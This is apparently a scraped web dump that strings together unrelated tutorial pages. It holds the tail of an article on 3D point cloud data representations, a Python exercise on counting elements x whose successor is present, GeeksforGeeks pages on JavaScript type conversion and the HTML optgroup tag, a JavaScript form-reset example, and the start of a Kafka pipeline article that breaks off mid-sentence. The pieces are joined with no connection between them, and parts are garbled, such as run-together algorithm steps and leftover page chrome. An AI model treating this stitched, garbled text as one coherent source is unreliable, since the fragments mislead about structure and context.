attributes." }, { "code": null, "e": 8795, "s": 8372, "text": "One of the most important features of parametric modeling is that interlinked attributes can automatically change values. In other words, parametric modeling allows defining entire “classes of shapes”, not just specific instances. This however often demands a very “smart” structuration of the underlying point cloud geometry, to decompose the model entity into sub-entities (E.g. segments) that are aggregated in classes." }, { "code": null, "e": 8937, "s": 8795, "text": "This process immensely benefits from object detection scenarios and the Smart Point Cloud Infrastructure as defined in the following article." }, { "code": null, "e": 8960, "s": 8937, "text": "towardsdatascience.com" }, { "code": null, "e": 9144, "s": 8960, "text": "Often, these parametric models can also be combined or extracted by combining 2D CAD drawings that interpolate the point cloud shape, and layers it depending on the class of elements." }, { "code": null, "e": 9401, "s": 9144, "text": "These parametric models are oftentimes consuming to create but are the ones that give the most value to the 3D point cloud data. These come through massive semantic enrichment and additional triggers on the relations between objects constituting the scene." }, { "code": null, "e": 9490, "s": 9401, "text": "Now, we jump to raster-based point cloud representation. The first one is the depth-map." }, { "code": null, "e": 10015, "s": 9490, "text": "A depth map is an image or an “image channel” that contains information relating to the distance of the points constituting the scene from a single viewpoint. While we are used to working with RGB images, the simplest form of expressing the depth is to color-code on one channel, with intensity values. Bright pixels then have the highest value and dark pixels have the lowest values. And that is it. A depth image just presents values according to how far are objects, where pixels color gives the distance from the camera." }, { "code": null, "e": 10188, "s": 10015, "text": "💡 Hint: The depth map is related to the Z-buffer, where the “Z” relates to the direction of the central axis of view of a camera and not to the absolute Z scene coordinate." }, { "code": null, "e": 10670, "s": 10188, "text": "This form of point cloud representation is fine if you just need surface information linked to a known point of view. This is the case for autonomous driving scenarios where you can very quickly map the environment at each position through a 360 projected depth map. However, the big counterpart is that you are not working with 3D data, rather 2.5D as you cannot represent 2 different values for on line sight. Here are operations, benefits, and disadvantages depth-map come with:" }, { "code": null, "e": 10681, "s": 10670, "text": "Operations" }, { "code": null, "e": 10767, "s": 10681, "text": "Transformations: Multiply the pixels in the image with linear transformation matrices" }, { "code": null, "e": 10834, "s": 10767, "text": "Combinations: Objects can be combined by merging the points lists." }, { "code": null, "e": 10877, "s": 10834, "text": "Rendering: Draws pixels on the image plane" }, { "code": null, "e": 10886, "s": 10877, "text": "Benefits" }, { "code": null, "e": 10910, "s": 10886, "text": "Low memory requirements" }, { "code": null, "e": 10939, "s": 10910, "text": "Very well know Raster format" }, { "code": null, "e": 10974, "s": 10939, "text": "Transformations are quick and easy" }, { "code": null, "e": 10988, "s": 10974, "text": "Disadvantages" }, { "code": null, "e": 11023, "s": 10988, "text": "Essentially a 2.5-D representation" }, { "code": null, "e": 11066, "s": 11023, "text": "Cannot describe a full 3D scene on its own" }, { "code": null, "e": 11080, "s": 11066, "text": "Weak topology" }, { "code": null, "e": 11337, "s": 11080, "text": "Third, representing 3D data as RGB-D images have become popular in recent years thanks to the popularity of RGB-D sensors. RGB-D data provides a 2,5D information about the captured 3D object by attaching the depth map along with 2D color information (RGB)." }, { "code": null, "e": 11755, "s": 11337, "text": "Besides being inexpensive, RGB-D data are simple yet effective representations for 3D objects to be used for different tasks such as identity recognition [1], pose regression [2], and correspondence [1]. The number of available RGB-D datasets is huge compared to other 3D datasets such as point clouds or 3D meshes and as such is the preferred way of training deep learning models through extensive training datasets." }, { "code": null, "e": 11942, "s": 11755, "text": "Secondly, projecting 3D data into another 2D space is another representation of raw 3D data where the projected data encapsulates some of the key properties of the original 3D shape [3]." }, { "code": null, "e": 12576, "s": 11942, "text": "Multiple projections exist where each of them converts the 3D object into a 2D grid with specific information. Projecting 3D data into the spherical and cylindrical domains (e.g. [4]) has been a common practice for representing the 3D data in such format. Such projections help the projected data to be invariant to rotations around the principal axis of the projection and ease the processing of 3D data due to the Euclidean grid structure of the resulting projections. However, such representations are not optimal for complicated 3D computer vision tasks such as dense correspondence due to the information loss in projection [5]." }, { "code": null, "e": 12791, "s": 12576, "text": "Now, we move to what is the lesser visual component of point clouds: implicit representation. It just is a way to represent point clouds by a set of shape descriptors as described in the articles provided in [6,7]." }, { "code": null, "e": 12990, "s": 12791, "text": "These can be seen as a signature of the 3D shape to provide a compact representation of 3D objects by capturing some key properties to ease processing and computations (E.g. expressed as a.csv file)" }, { "code": null, "e": 13565, "s": 12990, "text": "x y z surface volume omn. ver. 9.9 30.5 265.3 334.5 103.3 4.6 0.0 -27.0 71.6 274.2 18.2 12.5 1.3 0.4 -11.8 48.9 273.8 113.2 620.4 3.7 0.7 26.9 43.8 266.1 297.1 283.6 3.9 0.0 42.9 61.7 273.7 0.1 0.0 0.3 0.8 -23.1 36.5 263.3 26.3 14.8 1.6 0.0 -9.5 73.1 268.2 24.0 11.4 2.2 0.0 32.2 70.9 284.0 36.0 139.1 1.7 0.8 -20.5 20.7 263.2 34.0 3.4 1.8 0.8 -2.3 73.6 262.2 28.2 15.6 2.6 1.0" }, { "code": null, "e": 14034, "s": 13565, "text": "The nature and the meaning of this signature depend on the characteristic of the shape descriptor used and its definition. For example, global descriptors provide a concise yet informative description for the whole 3D shape while local descriptors provide a more localized representation for smaller patches in the shape. The work of Kazmi et al. [6], Zhang et al. [7] and more recently Rostami et al. [8] provide comprehensive surveys about such 3D shape descriptors." }, { "code": null, "e": 14278, "s": 14034, "text": "Implicit representation is very handy as part of a processing pipeline, and to ease data transfer among different infrastructures. It is also very useful for advanced processes that benefit from informative features hard to visually represent." }, { "code": null, "e": 15140, "s": 14278, "text": "Fifth, we can access 3D information from a multi-view image, which is a 2D-based 3D representation where one accesses the information by matching several 2D images for the same object from different points of view. Representing 3D data in this manner can lead to learning multiple feature sets to reduce the effect of noise, incompleteness, occlusion, and illumination problems on the captured data. However, the question of how many views are enough to model the 3D shape is still open, and linked to the acquisition methodology for photogrammetric reconstructions: a 3D object with an insufficiently small number of views might not capture the properties of the whole 3D shape (especially for 3D scenes) and might cause an over-fitting problem. Both volumetric and multi-view data are more suitable for analyzing rigid data where the deformations are minimal." }, { "code": null, "e": 15371, "s": 15140, "text": "3D Data has a tremendous potential for building Machine Learning systems, especially Deep Learning. However, currently, true 3D data representations such as 3D meshes need to be considered regarding another Deep Learning paradigm." }, { "code": null, "e": 16143, "s": 15371, "text": "Indeed, the vast majority of deep learning is performed on Euclidean data. This includes datatypes in the 1-dimensional and 2-dimensional domain. Images, text, audio, and many others are all euclidean data. Of this, particularly the RGB-D datasets are then nowadays able to build on to of massive labeled libraries if one seeks to automatically detect objects in the scene. But meshes or structured point clouds could benefit from exploiting their rich underlying relationships. This is achieved for example by embedding them in a graph structure (a data structure that consists of nodes (entities) that are connected with edges (relationships)), but this makes them Non-Euclidean (which meshes are by nature), thus non-usable by classical Machine Learning architectures." }, { "code": null, "e": 16278, "s": 16143, "text": "For this, an emerging field called Geometric Deep Learning (GDL) aims to build neural networks that can learn from non-euclidean data." }, { "code": null, "e": 16362, "s": 16278, "text": "As nicely put by a fellow scientist Flawnson Tong in this recommend article (here):" }, { "code": null, "e": 16724, "s": 16362, "text": "The notion of relationships, connections, and shared properties is a concept that is naturally occurring in humans and nature. Understanding and learning from these connections is something we take for granted. Geometric Deep Learning is significant because it allows us to take advantage of data with inherent relationships, connections, and shared properties." }, { "code": null, "e": 16955, "s": 16724, "text": "Thus, every 3D Data Representation can be used within a Machine Learning project, but some will be for more experimental projects (non-euclidean representations), whereas euclidean data can directly be ingested in your application" }, { "code": null, "e": 17163, "s": 16955, "text": "If you read up until now, kudos to you 😆 ! To summarize, the 3D data representation world is super flexible, and you now have the knowledge to make an informed decision for choosing your data representation:" }, { "code": null, "e": 17227, "s": 17163, "text": "3D Point clouds are simple and efficient but lack connectivity;" }, { "code": null, "e": 17375, "s": 17227, "text": "3D models found as 3D meshes, Parametric models, voxel assemblies propose dedicated levels of additional information but approximate the base data;" }, { "code": null, "e": 17450, "s": 17375, "text": "Depth maps are well known and compact but essentially deal with 2.5D data;" }, { "code": null, "e": 17525, "s": 17450, "text": "Implicit representation encompasses all of the above but is hardly visual;" }, { "code": null, "e": 17643, "s": 17525, "text": "Multi-view is complimentary and leverage Raster imagery but is prone to failure case for optimal viewpoint selection." }, { "code": null, "e": 17821, "s": 17643, "text": "And as always, if you want to go beyond, you will find several references below. You can also start the journey to excellence today by taking a formation at the Geodata Academy." }, { "code": null, "e": 17837, "s": 17821, "text": "learngeodata.eu" }, { "code": null, "e": 18048, "s": 17837, "text": "0. Poux, F.; Billen, R. Voxel-Based 3D Point Cloud Semantic Segmentation: Unsupervised Geometric and Relationship Featuring vs Deep Learning Methods. ISPRS International Journal of Geo-Information 2019, 8, 213." }, { "code": null, "e": 18281, "s": 18048, "text": "1. Erdogmus, N.; Marcel, S. Spoofing in 2D face recognition with 3D masks and anti-spoofing with Kinect. In Proceedings of the 6th International Conference on Biometrics: Theory, Applications and Systems (BTAS); IEEE, 2013; pp. 1–6." }, { "code": null, "e": 18406, "s": 18281, "text": "2. Fanelli, G.; Weise, T.; Gall, J.; Gool, L. Van Real-Time Head Pose Estimation from Consumer Depth Cameras. 2011, 101–110." }, { "code": null, "e": 18511, "s": 18406, "text": "3. Houshiar, H. Documentation and mapping with 3D point cloud processing, University of Würzburg, 2012." }, { "code": null, "e": 18603, "s": 18511, "text": "4. Cao, Z.; Huang, Q.; Ramani, K. 3D Object Classification via Spherical Projections. 2017." }, { "code": null, "e": 18800, "s": 18603, "text": "5. Sinha, A.; Bai, J.; Ramani, K. Deep learning 3D shape surfaces using geometry images. In Proceedings of the European Conference on Computer Vision (ECCV); Amsterdam, Germany, 2016; pp. 223–240." }, { "code": null, "e": 19006, "s": 18800, "text": "6. Kazmi, I.K.; You, L.; Zhang, J.J. A survey of 2D and 3D shape descriptors. In Proceedings of the 10th International Conference Computer Graphics, Imaging, and Visualization (CGIV); IEEE, 2013; pp. 1–10." }, { "code": null, "e": 19154, "s": 19006, "text": "7. Shin, D.; Fowlkes, C.C.; Hoiem, D. Pixels, voxels, and views: A study of shape representations for single-view 3D object shape prediction. 2018." } ]
Count Elements x and x+1 Present in List in Python
Suppose we have a list of numbers called nums, we have to find the number of elements x there are such that x + 1 exists as well. So, if the input is like [2, 3, 3, 4, 8], then the output will be 3 To solve this, we will follow these steps − s := make a set by inserting elements present in nums count := 0 for each i in nums, doif i+1 in s, thencount := count + 1 if i+1 in s, thencount := count + 1 count := count + 1 return count Let us see the following implementation to get better understanding − Live Demo class Solution: def solve(self, nums): s = set(nums) count = 0 for i in nums: if i+1 in s: count += 1 return count ob = Solution() nums = [2, 3, 3, 4, 8] print(ob.solve(nums)) [2, 3, 3, 4, 8] 3
[ { "code": null, "e": 1192, "s": 1062, "text": "Suppose we have a list of numbers called nums, we have to find the number of elements x\nthere are such that x + 1 exists as well." }, { "code": null, "e": 1260, "s": 1192, "text": "So, if the input is like [2, 3, 3, 4, 8], then the output will be 3" }, { "code": null, "e": 1304, "s": 1260, "text": "To solve this, we will follow these steps −" }, { "code": null, "e": 1358, "s": 1304, "text": "s := make a set by inserting elements present in nums" }, { "code": null, "e": 1369, "s": 1358, "text": "count := 0" }, { "code": null, "e": 1427, "s": 1369, "text": "for each i in nums, doif i+1 in s, thencount := count + 1" }, { "code": null, "e": 1463, "s": 1427, "text": "if i+1 in s, thencount := count + 1" }, { "code": null, "e": 1482, "s": 1463, "text": "count := count + 1" }, { "code": null, "e": 1495, "s": 1482, "text": "return count" }, { "code": null, "e": 1565, "s": 1495, "text": "Let us see the following implementation to get better understanding −" }, { "code": null, "e": 1576, "s": 1565, "text": " Live Demo" }, { "code": null, "e": 1800, "s": 1576, "text": "class Solution:\n def solve(self, nums):\n s = set(nums)\n count = 0\n for i in nums:\n if i+1 in s:\n count += 1\n return count\nob = Solution()\nnums = [2, 3, 3, 4, 8]\nprint(ob.solve(nums))" }, { "code": null, "e": 1816, "s": 1800, "text": "[2, 3, 3, 4, 8]" }, { "code": null, "e": 1818, "s": 1816, "text": "3" } ]
JavaScript | Type Conversion - GeeksforGeeks
13 Jul, 2018 JavaScript is loosely typed language and most of the time operators automatically convert a value to the right type but there are also cases when we need to explicitly do type conversions.While JavaScript provides numerous ways to convert data from one type to another but there are two most common data conversions : Converting Values to String Converting Values to Numbers Implicit Conversion:There are various operator and functions in JavaScript which automatically converts a value to the right type like alert() function in JavaScript accepts any value and convert it into a string. But various operator creates a problem like ‘+’ operator.Example: Input: "2" + "3" Output: "23" here + operator stands for string concatenation in this case. But "3" - "1" gives output 2 by using Implicit Conversion. Code #1:This code shows the implicit type conversion in JavaScript. <script> document.write('("3" - "1") = ' + ("3" - "1") + "<br>"); document.write('("3" - 1) = ' + ("3" - 1) + "<br>"); document.write('("3" * "2") = ' + ("3" * "2") + "<br>"); document.write('("3" % "2") = ' + ("3" % "2") + "<br>"); document.write('("3" + null) = ' + ("3" + null) + "<br>"); </script> Output: ("3" - "1") = 2 ("3" - 1) = 2 ("3" * "2") = 6 ("3" % "2") = 1 ("3" + null) = 3null Converting Values to Strings:String() or toString() function can be used in JavaScript to convert a value to a string.Syntax of String() function: String(value) Example: Input: var v = 1555; var s = String(v); Output: now s contains "1555". Syntax of toString() function: variableName.toString(base) Example: Input: var v = 1555; var s = v.toString(); Output: now s contains "1555". For more information on toString( ) function check this article JavaScript | toString( ) function.Code #2:Below code going to convert the number to string, boolean value to string and dates to string. <script> // Number and date has been assigned // to variable v and d respectively var v = 123; var d = new Date('1995-12-17T03:24:00'); // Conversion of number to string document.write(" String(v) = " + String(v) + "<br>"); // Conversion of number to string document.write(" String(v + 11) = " + String(v + 11) + "<br>"); document.write(" String( 10 + 10) = " + String(10 + 10) + "<br>"); // Conversion of boolean value to string document.write(" String(false) = " + String(false) + "<br>"); // Conversion of Date to string document.write(" String(d) = " + String(d) + "<br>"); </script> Output: String(v) = 123 String(v + 11) = 134 String( 10 + 10) = 20 String(false) = false String(d) = Sun Dec 17 1995 03:24:00 GMT+0530 (India Standard Time) Converting Values to Numbers:We can use Number() function in JavaScript to convert a value to a Number. It can convert any numerical text and boolean value to a Number. In case of strings of non-numbers it will convert it to a NaN(Not a Number).Syntax: Number(valueToConvert) Example: Input: var s = "144"; var n = Number(s); Output: now n contain 144(Number). Code #3:Below code converts a numerical text, dates and boolean values to a number. <script> // Number and date has been assigned // to variable v and d respectively var v = "144"; var d = new Date('1995-12-17T03:24:00'); // Conversion of string to number document.write(" Number(v) = " + Number(v) + "<br>"); //Conversion of boolean value to number document.write(" Number(false) = " + Number(false) + "<br>"); document.write(" Number(true) = " + Number(true) + "<br>"); // Conversion of date to number document.write(" Number(d) = " + Number(d) + "<br>"); </script> Output: Number(v) = 144 Number(false) = 0 Number(true) = 1 Number(d) = 819150840000 code #4:If the string is non-number then it converts it to NaN and strings of white spaces or empty strings will convert to 0. <script> // Empty string assigned var v = ""; // White space assigned var d = " "; // Non-number string assigned var s = "GeeksforGeeks"; // Printing converted values of number document.write(" Number(v) = " + Number(v) + "<br>"); document.write(" Number(d) = " + Number(d) + "<br>"); document.write(" Number(s) = " + Number(s) + "<br>"); </script> Output: Number(v) = 0 Number(d) = 0 Number(s) = NaN javascript-basics JavaScript Writing code in comment? Please use ide.geeksforgeeks.org, generate link and share the link here. Comments Old Comments Difference between var, let and const keywords in JavaScript Convert a string to an integer in JavaScript Differences between Functional Components and Class Components in React How to calculate the number of days between two dates in javascript? File uploading in React.js How to append HTML code to a div using JavaScript ? How to Open URL in New Tab using JavaScript ? Hide or show elements in HTML using display property JavaScript | console.log() with Examples How to read a local text file using JavaScript?
[ { "code": null, "e": 29692, "s": 29664, "text": "\n13 Jul, 2018" }, { "code": null, "e": 30010, "s": 29692, "text": "JavaScript is loosely typed language and most of the time operators automatically convert a value to the right type but there are also cases when we need to explicitly do type conversions.While JavaScript provides numerous ways to convert data from one type to another but there are two most common data conversions :" }, { "code": null, "e": 30038, "s": 30010, "text": "Converting Values to String" }, { "code": null, "e": 30067, "s": 30038, "text": "Converting Values to Numbers" }, { "code": null, "e": 30347, "s": 30067, "text": "Implicit Conversion:There are various operator and functions in JavaScript which automatically converts a value to the right type like alert() function in JavaScript accepts any value and convert it into a string. But various operator creates a problem like ‘+’ operator.Example:" }, { "code": null, "e": 30498, "s": 30347, "text": "Input: \"2\" + \"3\"\nOutput: \"23\"\nhere + operator stands for string concatenation in this case.\nBut \"3\" - \"1\" gives output 2 by using Implicit Conversion." }, { "code": null, "e": 30566, "s": 30498, "text": "Code #1:This code shows the implicit type conversion in JavaScript." }, { "code": "<script> document.write('(\"3\" - \"1\") = ' + (\"3\" - \"1\") + \"<br>\"); document.write('(\"3\" - 1) = ' + (\"3\" - 1) + \"<br>\"); document.write('(\"3\" * \"2\") = ' + (\"3\" * \"2\") + \"<br>\"); document.write('(\"3\" % \"2\") = ' + (\"3\" % \"2\") + \"<br>\"); document.write('(\"3\" + null) = ' + (\"3\" + null) + \"<br>\"); </script> ", "e": 30890, "s": 30566, "text": null }, { "code": null, "e": 30898, "s": 30890, "text": "Output:" }, { "code": null, "e": 30982, "s": 30898, "text": "(\"3\" - \"1\") = 2\n(\"3\" - 1) = 2\n(\"3\" * \"2\") = 6\n(\"3\" % \"2\") = 1\n(\"3\" + null) = 3null\n" }, { "code": null, "e": 31129, "s": 30982, "text": "Converting Values to Strings:String() or toString() function can be used in JavaScript to convert a value to a string.Syntax of String() function:" }, { "code": null, "e": 31143, "s": 31129, "text": "String(value)" }, { "code": null, "e": 31152, "s": 31143, "text": "Example:" }, { "code": null, "e": 31224, "s": 31152, "text": "Input:\nvar v = 1555;\nvar s = String(v);\nOutput:\nnow s contains \"1555\".\n" }, { "code": null, "e": 31255, "s": 31224, "text": "Syntax of toString() function:" }, { "code": null, "e": 31283, "s": 31255, "text": "variableName.toString(base)" }, { "code": null, "e": 31292, "s": 31283, "text": "Example:" }, { "code": null, "e": 31366, "s": 31292, "text": "Input:\nvar v = 1555;\nvar s = v.toString();\nOutput:\nnow s contains \"1555\"." }, { "code": null, "e": 31567, "s": 31366, "text": "For more information on toString( ) function check this article JavaScript | toString( ) function.Code #2:Below code going to convert the number to string, boolean value to string and dates to string." }, { "code": "<script> // Number and date has been assigned // to variable v and d respectively var v = 123; var d = new Date('1995-12-17T03:24:00'); // Conversion of number to string document.write(\" String(v) = \" + String(v) + \"<br>\"); // Conversion of number to string document.write(\" String(v + 11) = \" + String(v + 11) + \"<br>\"); document.write(\" String( 10 + 10) = \" + String(10 + 10) + \"<br>\"); // Conversion of boolean value to string document.write(\" String(false) = \" + String(false) + \"<br>\"); // Conversion of Date to string document.write(\" String(d) = \" + String(d) + \"<br>\"); </script>", "e": 32195, "s": 31567, "text": null }, { "code": null, "e": 32203, "s": 32195, "text": "Output:" }, { "code": null, "e": 32353, "s": 32203, "text": "String(v) = 123\nString(v + 11) = 134\nString( 10 + 10) = 20\nString(false) = false\nString(d) = Sun Dec 17 1995 03:24:00 GMT+0530 (India Standard Time)\n" }, { "code": null, "e": 32606, "s": 32353, "text": "Converting Values to Numbers:We can use Number() function in JavaScript to convert a value to a Number. It can convert any numerical text and boolean value to a Number. In case of strings of non-numbers it will convert it to a NaN(Not a Number).Syntax:" }, { "code": null, "e": 32629, "s": 32606, "text": "Number(valueToConvert)" }, { "code": null, "e": 32638, "s": 32629, "text": "Example:" }, { "code": null, "e": 32715, "s": 32638, "text": "Input:\nvar s = \"144\";\nvar n = Number(s);\nOutput:\nnow n contain 144(Number).\n" }, { "code": null, "e": 32799, "s": 32715, "text": "Code #3:Below code converts a numerical text, dates and boolean values to a number." }, { "code": "<script> // Number and date has been assigned // to variable v and d respectively var v = \"144\"; var d = new Date('1995-12-17T03:24:00'); // Conversion of string to number document.write(\" Number(v) = \" + Number(v) + \"<br>\"); //Conversion of boolean value to number document.write(\" Number(false) = \" + Number(false) + \"<br>\"); document.write(\" Number(true) = \" + Number(true) + \"<br>\"); // Conversion of date to number document.write(\" Number(d) = \" + Number(d) + \"<br>\"); </script>", "e": 33315, "s": 32799, "text": null }, { "code": null, "e": 33323, "s": 33315, "text": "Output:" }, { "code": null, "e": 33399, "s": 33323, "text": "Number(v) = 144\nNumber(false) = 0\nNumber(true) = 1\nNumber(d) = 819150840000" }, { "code": null, "e": 33526, "s": 33399, "text": "code #4:If the string is non-number then it converts it to NaN and strings of white spaces or empty strings will convert to 0." }, { "code": "<script> // Empty string assigned var v = \"\"; // White space assigned var d = \" \"; // Non-number string assigned var s = \"GeeksforGeeks\"; // Printing converted values of number document.write(\" Number(v) = \" + Number(v) + \"<br>\"); document.write(\" Number(d) = \" + Number(d) + \"<br>\"); document.write(\" Number(s) = \" + Number(s) + \"<br>\"); </script>", "e": 33930, "s": 33526, "text": null }, { "code": null, "e": 33938, "s": 33930, "text": "Output:" }, { "code": null, "e": 33983, "s": 33938, "text": "Number(v) = 0\nNumber(d) = 0\nNumber(s) = NaN\n" }, { "code": null, "e": 34001, "s": 33983, "text": "javascript-basics" }, { "code": null, "e": 34012, "s": 34001, "text": "JavaScript" }, { "code": null, "e": 34110, "s": 34012, "text": "Writing code in comment?\nPlease use ide.geeksforgeeks.org,\ngenerate link and share the link here." }, { "code": null, "e": 34119, "s": 34110, "text": "Comments" }, { "code": null, "e": 34132, "s": 34119, "text": "Old Comments" }, { "code": null, "e": 34193, "s": 34132, "text": "Difference between var, let and const keywords in JavaScript" }, { "code": null, "e": 34238, "s": 34193, "text": "Convert a string to an integer in JavaScript" }, { "code": null, "e": 34310, "s": 34238, "text": "Differences between Functional Components and Class Components in React" }, { "code": null, "e": 34379, "s": 34310, "text": "How to calculate the number of days between two dates in javascript?" }, { "code": null, "e": 34406, "s": 34379, "text": "File uploading in React.js" }, { "code": null, "e": 34458, "s": 34406, "text": "How to append HTML code to a div using JavaScript ?" }, { "code": null, "e": 34504, "s": 34458, "text": "How to Open URL in New Tab using JavaScript ?" }, { "code": null, "e": 34557, "s": 34504, "text": "Hide or show elements in HTML using display property" }, { "code": null, "e": 34598, "s": 34557, "text": "JavaScript | console.log() with Examples" } ]
HTML <optgroup> Tag - GeeksforGeeks
17 Mar, 2022 This tag is used to create a group of the same category options in a drop-down list. The <optgroup> tag is required when there is a long list of the item exists.Syntax: <optgroup> <option>..</option> . . </optgroup> Attributes: label: It is used to specify the label for an optgroup. disabled: It is used to disable the option-group in a list. Example 1: html <!DOCTYPE html><html> <body> <h1>GeeksforGeeks</h1> <h2>HTML optgroup Tag</h2> <select> <!-- optgroup tag starts --> <optgroup label="Programming Languages"> <option value="C">C</option> <option value="C++">C++</option> <option value="Java">Java</option> </optgroup> <optgroup label="Scripting Language"> <option value="JavaScript">JavaScript</option> <option value="PHP">PHP</option> <option value="Shell">Shell</option> </optgroup> <!-- optgroup tag ends --> </select></body> </html> Output: Example 2: html <!DOCTYPE html><html> <body> <h1>GeeksforGeeks</h1> <h2>HTML optgroup Tag</h2> <select> <!-- optgroup tag starts --> <optgroup label="Programming Languages"> <option value="C">C</option> <option value="C++">C++</option> <option value="Java">Java</option> </optgroup> <optgroup label="Scripting Language" disabled> <option value="JavaScript">JavaScript</option> <option value="PHP">PHP</option> <option value="Shell">Shell</option> </optgroup> <!-- optgroup tag ends --> </select></body> </html> Output: Supported Browser: Google Chrome Internet Explorer Firefox Opera Safari Attention reader! Don’t stop learning now. Get hold of all the important HTML concepts with the Web Design for Beginners | HTML course. Akanksha_Rai ghoshsuman0129 HTML-Tags HTML HTML Writing code in comment? Please use ide.geeksforgeeks.org, generate link and share the link here. Top 10 Projects For Beginners To Practice HTML and CSS Skills How to insert spaces/tabs in text using HTML/CSS? How to set the default value for an HTML <select> element ? How to update Node.js and NPM to next version ? How to set input type date in dd-mm-yyyy format using HTML ? Hide or show elements in HTML using display property How to Insert Form Data into Database using PHP ? CSS to put icon inside an input element in a form REST API (Introduction) Types of CSS (Cascading Style Sheet)
[ { "code": null, "e": 23149, "s": 23121, "text": "\n17 Mar, 2022" }, { "code": null, "e": 23318, "s": 23149, "text": "This tag is used to create a group of the same category options in a drop-down list. The <optgroup> tag is required when there is a long list of the item exists.Syntax:" }, { "code": null, "e": 23387, "s": 23318, "text": "<optgroup>\n <option>..</option>\n .\n .\n</optgroup>" }, { "code": null, "e": 23399, "s": 23387, "text": "Attributes:" }, { "code": null, "e": 23455, "s": 23399, "text": "label: It is used to specify the label for an optgroup." }, { "code": null, "e": 23515, "s": 23455, "text": "disabled: It is used to disable the option-group in a list." }, { "code": null, "e": 23527, "s": 23515, "text": "Example 1: " }, { "code": null, "e": 23532, "s": 23527, "text": "html" }, { "code": "<!DOCTYPE html><html> <body> <h1>GeeksforGeeks</h1> <h2>HTML optgroup Tag</h2> <select> <!-- optgroup tag starts --> <optgroup label=\"Programming Languages\"> <option value=\"C\">C</option> <option value=\"C++\">C++</option> <option value=\"Java\">Java</option> </optgroup> <optgroup label=\"Scripting Language\"> <option value=\"JavaScript\">JavaScript</option> <option value=\"PHP\">PHP</option> <option value=\"Shell\">Shell</option> </optgroup> <!-- optgroup tag ends --> </select></body> </html>", "e": 24186, "s": 23532, "text": null }, { "code": null, "e": 24196, "s": 24186, "text": "Output: " }, { "code": null, "e": 24208, "s": 24196, "text": "Example 2: " }, { "code": null, "e": 24213, "s": 24208, "text": "html" }, { "code": "<!DOCTYPE html><html> <body> <h1>GeeksforGeeks</h1> <h2>HTML optgroup Tag</h2> <select> <!-- optgroup tag starts --> <optgroup label=\"Programming Languages\"> <option value=\"C\">C</option> <option value=\"C++\">C++</option> <option value=\"Java\">Java</option> </optgroup> <optgroup label=\"Scripting Language\" disabled> <option value=\"JavaScript\">JavaScript</option> <option value=\"PHP\">PHP</option> <option value=\"Shell\">Shell</option> </optgroup> <!-- optgroup tag ends --> </select></body> </html>", "e": 24872, "s": 24213, "text": null }, { "code": null, "e": 24882, "s": 24872, "text": "Output: " }, { "code": null, "e": 24902, "s": 24882, "text": "Supported Browser: " }, { "code": null, "e": 24916, "s": 24902, "text": "Google Chrome" }, { "code": null, "e": 24934, "s": 24916, "text": "Internet Explorer" }, { "code": null, "e": 24942, "s": 24934, "text": "Firefox" }, { "code": null, "e": 24948, "s": 24942, "text": "Opera" }, { "code": null, "e": 24955, "s": 24948, "text": "Safari" }, { "code": null, "e": 25092, "s": 24955, "text": "Attention reader! Don’t stop learning now. Get hold of all the important HTML concepts with the Web Design for Beginners | HTML course." }, { "code": null, "e": 25105, "s": 25092, "text": "Akanksha_Rai" }, { "code": null, "e": 25120, "s": 25105, "text": "ghoshsuman0129" }, { "code": null, "e": 25130, "s": 25120, "text": "HTML-Tags" }, { "code": null, "e": 25135, "s": 25130, "text": "HTML" }, { "code": null, "e": 25140, "s": 25135, "text": "HTML" }, { "code": null, "e": 25238, "s": 25140, "text": "Writing code in comment?\nPlease use ide.geeksforgeeks.org,\ngenerate link and share the link here." }, { "code": null, "e": 25300, "s": 25238, "text": "Top 10 Projects For Beginners To Practice HTML and CSS Skills" }, { "code": null, "e": 25350, "s": 25300, "text": "How to insert spaces/tabs in text using HTML/CSS?" }, { "code": null, "e": 25410, "s": 25350, "text": "How to set the default value for an HTML <select> element ?" }, { "code": null, "e": 25458, "s": 25410, "text": "How to update Node.js and NPM to next version ?" }, { "code": null, "e": 25519, "s": 25458, "text": "How to set input type date in dd-mm-yyyy format using HTML ?" }, { "code": null, "e": 25572, "s": 25519, "text": "Hide or show elements in HTML using display property" }, { "code": null, "e": 25622, "s": 25572, "text": "How to Insert Form Data into Database using PHP ?" }, { "code": null, "e": 25672, "s": 25622, "text": "CSS to put icon inside an input element in a form" }, { "code": null, "e": 25696, "s": 25672, "text": "REST API (Introduction)" } ]
How to reset or clear a form using JavaScript?
Reset or clear a form using JavaScript, with the reset() method. The reset method sets the values of all elements in a form like clicking the reset button. You can try to run the following code to reset a form using JavaScript − Live Demo <!DOCTYPE html> <html> <head> <title>Reset HTML form</title> </head> <body> <form id="newForm"> Student Name<br><input type="text" name="sname"><br> Student Subject<br><input type="password" name="ssubject"><br> <input type="button" onclick="newFunction()" value="Reset"> </form> <script> function newFunction() { document.getElementById("newForm").reset(); } </script> </body> </html>
[ { "code": null, "e": 1219, "s": 1062, "text": "Reset or clear a form using JavaScript, with the reset() method. The reset method sets the values of all elements in a form like clicking the reset button. " }, { "code": null, "e": 1292, "s": 1219, "text": "You can try to run the following code to reset a form using JavaScript −" }, { "code": null, "e": 1302, "s": 1292, "text": "Live Demo" }, { "code": null, "e": 1787, "s": 1302, "text": "<!DOCTYPE html>\n<html>\n <head>\n <title>Reset HTML form</title>\n </head>\n <body>\n <form id=\"newForm\">\n Student Name<br><input type=\"text\" name=\"sname\"><br>\n Student Subject<br><input type=\"password\" name=\"ssubject\"><br>\n <input type=\"button\" onclick=\"newFunction()\" value=\"Reset\">\n </form>\n <script>\n function newFunction() {\n document.getElementById(\"newForm\").reset();\n }\n </script>\n </body>\n</html>" } ]
Kafka, for your data pipeline? Why not? | by Tuan Nguyen | Towards Data Science
Kafka was developed and open-sourced by LinkedIn in 2011, and it has since quickly evolved from messaging queue to a full-fledged streaming platform with an exuberant ecosystem. Many tech companies, besides LinkedIn such as Airbnb, Spotify, or Twitter, use Kafka for their mission-critical applications. Kafka can be used for many things, from messaging, web activities tracking, to log aggregation or stream processing. From my point of view as a data professional, Kafka can be used as a central component of a data streaming pipeline to power real-time use cases such as fraud detection, predictive maintenance, or real-time analytics. There are entire books written about Kafka, and it can be daunting to get started. However, in this project, I will show you how easy it is to create a streaming data pipeline using Docker, Kafka, and Kafka Connect. Let’s define some business problems to work towards. Say you are a data engineer working for an e-commerce website that has users signing up continuously. The marketing team wants to send a personalized email to every customer who signs up as soon as they do so. Here are some problems with the newly proposed feature: The signup service is coupled with emailing service. In other words, every time the requirements of the marketing change, you have to make a change to the signup service, which could bring down the whole thing if you’re not careful. Marketing requires that the email should be sent instantaneously when a user signs up. In engineering terms, they meant within 5s from when a customer signs up. The personalization model is hosting on 